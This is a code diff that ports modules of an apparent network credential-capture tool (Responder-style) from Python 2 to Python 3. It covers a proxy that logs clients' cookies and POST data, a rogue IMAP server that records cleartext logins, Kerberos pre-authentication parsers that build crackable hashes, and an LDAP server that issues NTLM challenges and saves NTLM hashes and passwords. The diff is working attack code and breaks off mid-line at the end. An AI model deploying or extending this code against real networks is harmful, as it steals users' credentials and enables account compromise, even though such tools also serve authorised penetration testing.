data = Headers +b'\r\n\r\n'+ Content
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[PROXY] Returning unmodified HTTP response")
|
print(text("[PROXY] Returning unmodified HTTP response"))
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
class ProxySock:
|
class ProxySock:
|
||||||
|
@ -99,14 +108,14 @@ class ProxySock:
|
||||||
# Replace the socket by a connection to the proxy
|
# Replace the socket by a connection to the proxy
|
||||||
self.socket = socket.socket(family, socktype, proto)
|
self.socket = socket.socket(family, socktype, proto)
|
||||||
self.socket.connect(sockaddr)
|
self.socket.connect(sockaddr)
|
||||||
except socket.error, msg:
|
except socket.error as msg:
|
||||||
if self.socket:
|
if self.socket:
|
||||||
self.socket.close()
|
self.socket.close()
|
||||||
self.socket = None
|
self.socket = None
|
||||||
continue
|
continue
|
||||||
break
|
break
|
||||||
if not self.socket :
|
if not self.socket :
|
||||||
raise socket.error, msg
|
raise socket.error(msg)
|
||||||
|
|
||||||
# Ask him to create a tunnel connection to the target host/port
|
# Ask him to create a tunnel connection to the target host/port
|
||||||
self.socket.send(
|
self.socket.send(
|
||||||
|
@ -121,7 +130,7 @@ class ProxySock:
|
||||||
|
|
||||||
# Not 200 ?
|
# Not 200 ?
|
||||||
if parts[1] != "200":
|
if parts[1] != "200":
|
||||||
print color("[!] Error response from upstream proxy: %s" % resp, 1)
|
print(color("[!] Error response from upstream proxy: %s" % resp, 1))
|
||||||
pass
|
pass
|
||||||
|
|
||||||
# Wrap all methods of inner socket, without any change
|
# Wrap all methods of inner socket, without any change
|
||||||
|
@ -200,7 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
(ip, port) = self.client_address
|
(ip, port) = self.client_address
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[PROXY] Received connection from %s" % self.client_address[0])
|
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
|
||||||
self.__base_handle()
|
self.__base_handle()
|
||||||
|
|
||||||
def _connect_to(self, netloc, soc):
|
def _connect_to(self, netloc, soc):
|
||||||
|
@ -210,7 +219,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
else:
|
else:
|
||||||
host_port = netloc, 80
|
host_port = netloc, 80
|
||||||
try: soc.connect(host_port)
|
try: soc.connect(host_port)
|
||||||
except socket.error, arg:
|
except socket.error as arg:
|
||||||
try: msg = arg[1]
|
try: msg = arg[1]
|
||||||
except: msg = arg
|
except: msg = arg
|
||||||
self.send_error(404, msg)
|
self.send_error(404, msg)
|
||||||
|
@ -271,14 +280,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
URL_Unparse = urlparse.urlunparse(('', '', path, params, query, ''))
|
URL_Unparse = urlparse.urlunparse(('', '', path, params, query, ''))
|
||||||
|
|
||||||
if self._connect_to(netloc, soc):
|
if self._connect_to(netloc, soc):
|
||||||
soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version))
|
soc.send(NetworkSendBufferPython2or3("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)))
|
||||||
|
|
||||||
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
||||||
|
|
||||||
if settings.Config.Verbose:
|
if settings.Config.Verbose:
|
||||||
print text("[PROXY] Client : %s" % color(self.client_address[0], 3))
|
print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
|
||||||
print text("[PROXY] Requested URL : %s" % color(self.path, 3))
|
print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
|
||||||
print text("[PROXY] Cookie : %s" % Cookie)
|
print(text("[PROXY] Cookie : %s" % Cookie))
|
||||||
|
|
||||||
self.headers['Connection'] = 'close'
|
self.headers['Connection'] = 'close'
|
||||||
del self.headers['Proxy-Connection']
|
del self.headers['Proxy-Connection']
|
||||||
|
@ -286,8 +295,8 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
del self.headers['Range']
|
del self.headers['Range']
|
||||||
|
|
||||||
for k, v in self.headers.items():
|
for k, v in self.headers.items():
|
||||||
soc.send("%s: %s\r\n" % (k.title(), v))
|
soc.send(NetworkSendBufferPython2or3("%s: %s\r\n" % (k.title(), v)))
|
||||||
soc.send("\r\n")
|
soc.send(NetworkSendBufferPython2or3("\r\n"))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self._read_write(soc, netloc)
|
self._read_write(soc, netloc)
|
||||||
|
@ -325,13 +334,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
try:
|
try:
|
||||||
data = i.recv(4096)
|
data = i.recv(4096)
|
||||||
|
|
||||||
if self.command == "POST" and settings.Config.Verbose:
|
if self.command == b'POST' and settings.Config.Verbose:
|
||||||
print text("[PROXY] POST Data : %s" % data)
|
print(text("[PROXY] POST Data : %s" % data))
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
if data:
|
if data:
|
||||||
try:
|
try:
|
||||||
out.send(data)
|
out.send(data)
|
||||||
|
|
||||||
count = 0
|
count = 0
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -14,36 +14,35 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sys
|
||||||
from utils import *
|
from utils import *
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||||
|
|
||||||
class IMAP(BaseRequestHandler):
|
class IMAP(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
self.request.send(str(IMAPGreeting()))
|
self.request.send(NetworkSendBufferPython2or3(IMAPGreeting()))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
if data[5:15] == b'CAPABILITY':
|
||||||
if data[5:15] == "CAPABILITY":
|
|
||||||
RequestTag = data[0:4]
|
RequestTag = data[0:4]
|
||||||
self.request.send(str(IMAPCapability()))
|
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
|
||||||
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
|
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1"))))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
if data[5:10] == "LOGIN":
|
if data[5:10] == b'LOGIN':
|
||||||
Credentials = data[10:].strip()
|
Credentials = data[10:].strip().decode("latin-1").split('"')
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'IMAP',
|
'module': 'IMAP',
|
||||||
'type': 'Cleartext',
|
'type': 'Cleartext',
|
||||||
'client': self.client_address[0],
|
'client': self.client_address[0],
|
||||||
'user': Credentials[0],
|
'user': Credentials[1],
|
||||||
'cleartext': Credentials[1],
|
'cleartext': Credentials[3],
|
||||||
'fullhash': Credentials[0]+":"+Credentials[1],
|
'fullhash': Credentials[1]+":"+Credentials[3],
|
||||||
})
|
})
|
||||||
|
|
||||||
## FIXME: Close connection properly
|
|
||||||
## self.request.send(str(ditchthisconnection()))
|
|
||||||
## data = self.request.recv(1024)
|
|
||||||
except Exception:
|
except Exception:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -14,56 +14,61 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
from SocketServer import BaseRequestHandler
|
import codecs
|
||||||
from utils import *
|
|
||||||
import struct
|
import struct
|
||||||
|
from utils import *
|
||||||
|
if settings.Config.PY2OR3 is "PY3":
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler
|
||||||
|
|
||||||
|
|
||||||
def ParseMSKerbv5TCP(Data):
|
def ParseMSKerbv5TCP(Data):
|
||||||
MsgType = Data[21:22]
|
MsgType = Data[21:22]
|
||||||
EncType = Data[43:44]
|
EncType = Data[43:44]
|
||||||
MessageType = Data[32:33]
|
MessageType = Data[32:33]
|
||||||
|
|
||||||
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02':
|
||||||
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33':
|
||||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||||
if HashLen == 54:
|
if HashLen == 54:
|
||||||
Hash = Data[53:105]
|
Hash = Data[53:105]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||||
Name = Data[154:154+NameLen]
|
Name = Data[154:154+NameLen].decode('latin-1')
|
||||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen].decode('latin-1')
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
|
|
||||||
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
if Data[44:48] == b'\xa2\x36\x04\x34' or Data[44:48] == b'\xa2\x35\x04\x33':
|
||||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||||
if HashLen == 53:
|
if HashLen == 53:
|
||||||
Hash = Data[48:99]
|
Hash = Data[48:99]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||||
Name = Data[148:148+NameLen]
|
Name = Data[148:148+NameLen].decode('latin-1')
|
||||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen].decode('latin-1')
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
elif HashLen == 54:
|
elif HashLen == 54:
|
||||||
Hash = Data[53:105]
|
Hash = Data[53:105]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||||
Name = Data[149:149+NameLen]
|
Name = Data[149:149+NameLen].decode('latin-1')
|
||||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
else:
|
else:
|
||||||
Hash = Data[48:100]
|
Hash = Data[48:100]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||||
Name = Data[149:149+NameLen]
|
Name = Data[149:149+NameLen].decode('latin-1')
|
||||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -71,40 +76,41 @@ def ParseMSKerbv5UDP(Data):
|
||||||
MsgType = Data[17:18]
|
MsgType = Data[17:18]
|
||||||
EncType = Data[39:40]
|
EncType = Data[39:40]
|
||||||
|
|
||||||
if MsgType == "\x0a" and EncType == "\x17":
|
if MsgType == b'\x0a' and EncType == b'\x17':
|
||||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
if Data[40:44] == b'\xa2\x36\x04\x34' or Data[40:44] == b'\xa2\x35\x04\x33':
|
||||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||||
if HashLen == 54:
|
if HashLen == 54:
|
||||||
Hash = Data[44:96]
|
Hash = Data[44:96]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||||
Name = Data[145:145+NameLen]
|
Name = Data[145:145+NameLen].decode('latin-1')
|
||||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen].decode('latin-1')
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
elif HashLen == 53:
|
elif HashLen == 53:
|
||||||
Hash = Data[44:95]
|
Hash = Data[44:95]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||||
Name = Data[144:144+NameLen]
|
Name = Data[144:144+NameLen].decode('latin-1')
|
||||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen].decode('latin-1')
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
else:
|
else:
|
||||||
Hash = Data[49:101]
|
Hash = Data[49:101]
|
||||||
SwitchHash = Hash[16:]+Hash[0:16]
|
SwitchHash = Hash[16:]+Hash[0:16]
|
||||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||||
Name = Data[150:150+NameLen]
|
Name = Data[150:150+NameLen].decode('latin-1')
|
||||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen].decode('latin-1')
|
||||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||||
return BuildHash
|
return BuildHash
|
||||||
return False
|
return False
|
||||||
|
|
||||||
class KerbTCP(BaseRequestHandler):
|
class KerbTCP(BaseRequestHandler):
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
try:
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
KerbHash = ParseMSKerbv5TCP(data)
|
KerbHash = ParseMSKerbv5TCP(data)
|
||||||
|
|
||||||
|
@ -119,10 +125,12 @@ class KerbTCP(BaseRequestHandler):
|
||||||
'hash': h,
|
'hash': h,
|
||||||
'fullhash': KerbHash,
|
'fullhash': KerbHash,
|
||||||
})
|
})
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
class KerbUDP(BaseRequestHandler):
|
class KerbUDP(BaseRequestHandler):
|
||||||
|
|
||||||
def handle(self):
|
def handle(self):
|
||||||
|
try:
|
||||||
data, soc = self.request
|
data, soc = self.request
|
||||||
KerbHash = ParseMSKerbv5UDP(data)
|
KerbHash = ParseMSKerbv5UDP(data)
|
||||||
|
|
||||||
|
@ -137,3 +145,5 @@ class KerbUDP(BaseRequestHandler):
|
||||||
'hash': h,
|
'hash': h,
|
||||||
'fullhash': KerbHash,
|
'fullhash': KerbHash,
|
||||||
})
|
})
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
|
@ -14,37 +14,44 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import sys
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
from socketserver import BaseRequestHandler
|
||||||
|
else:
|
||||||
from SocketServer import BaseRequestHandler
|
from SocketServer import BaseRequestHandler
|
||||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||||
from utils import *
|
from utils import *
|
||||||
import struct
|
import struct
|
||||||
|
import codecs
|
||||||
|
|
||||||
def ParseSearch(data):
|
def ParseSearch(data):
|
||||||
if re.search(r'(objectClass)', data):
|
if re.search(b'(objectClass)', data):
|
||||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
|
||||||
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
|
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||||
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||||
|
|
||||||
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||||
SSPIStart = data.find('NTLMSSP')
|
SSPIStart = data.find(b'NTLMSSP')
|
||||||
SSPIString = data[SSPIStart:]
|
SSPIString = data[SSPIStart:]
|
||||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||||
|
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||||
|
|
||||||
if NthashLen == 24:
|
if NthashLen == 24:
|
||||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
|
@ -56,37 +63,37 @@ def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||||
})
|
})
|
||||||
|
|
||||||
if NthashLen > 60:
|
if NthashLen > 60:
|
||||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
|
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||||
|
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
'type': 'NTLMv2',
|
'type': 'NTLMv2-SSP',
|
||||||
'client': client,
|
'client': client,
|
||||||
'user': Domain+'\\'+Username,
|
'user': Domain+'\\'+Username,
|
||||||
'hash': SMBHash,
|
'hash': SMBHash,
|
||||||
'fullhash': WriteHash,
|
'fullhash': WriteHash,
|
||||||
})
|
})
|
||||||
|
|
||||||
if LMhashLen < 2 and settings.Config.Verbose:
|
if LMhashLen < 2 and settings.Config.Verbose:
|
||||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
print(text("[LDAP] Ignoring anonymous NTLM authentication"))
|
||||||
|
|
||||||
def ParseNTLM(data,client, Challenge):
|
def ParseNTLM(data,client, Challenge):
|
||||||
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
if re.search(b'(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
||||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
|
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9].decode('latin-1'),NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
NTLMChall.calculate()
|
NTLMChall.calculate()
|
||||||
return str(NTLMChall)
|
return NTLMChall
|
||||||
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||||
ParseLDAPHash(data, client, Challenge)
|
ParseLDAPHash(data, client, Challenge)
|
||||||
|
|
||||||
def ParseLDAPPacket(data, client, Challenge):
|
def ParseLDAPPacket(data, client, Challenge):
|
||||||
if data[1:2] == '\x84':
|
if data[1:2] == b'\x84':
|
||||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||||
Operation = data[9:10]
|
Operation = data[9:10]
|
||||||
|
@ -94,14 +101,14 @@ def ParseLDAPPacket(data, client, Challenge):
|
||||||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||||
|
|
||||||
if Operation == "\x60":
|
if Operation == b'\x60':
|
||||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||||
UserDomain = data[20:20+UserDomainLen]
|
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||||
|
|
||||||
if AuthHeaderType == "\x80":
|
if AuthHeaderType == b'\x80':
|
||||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
|
||||||
SaveToDb({
|
SaveToDb({
|
||||||
'module': 'LDAP',
|
'module': 'LDAP',
|
||||||
'type': 'Cleartext',
|
'type': 'Cleartext',
|
||||||
|
@ -111,24 +118,24 @@ def ParseLDAPPacket(data, client, Challenge):
|
||||||
'fullhash': UserDomain+':'+Password,
|
'fullhash': UserDomain+':'+Password,
|
||||||
})
|
})
|
||||||
|
|
||||||
if sasl == "\xA3":
|
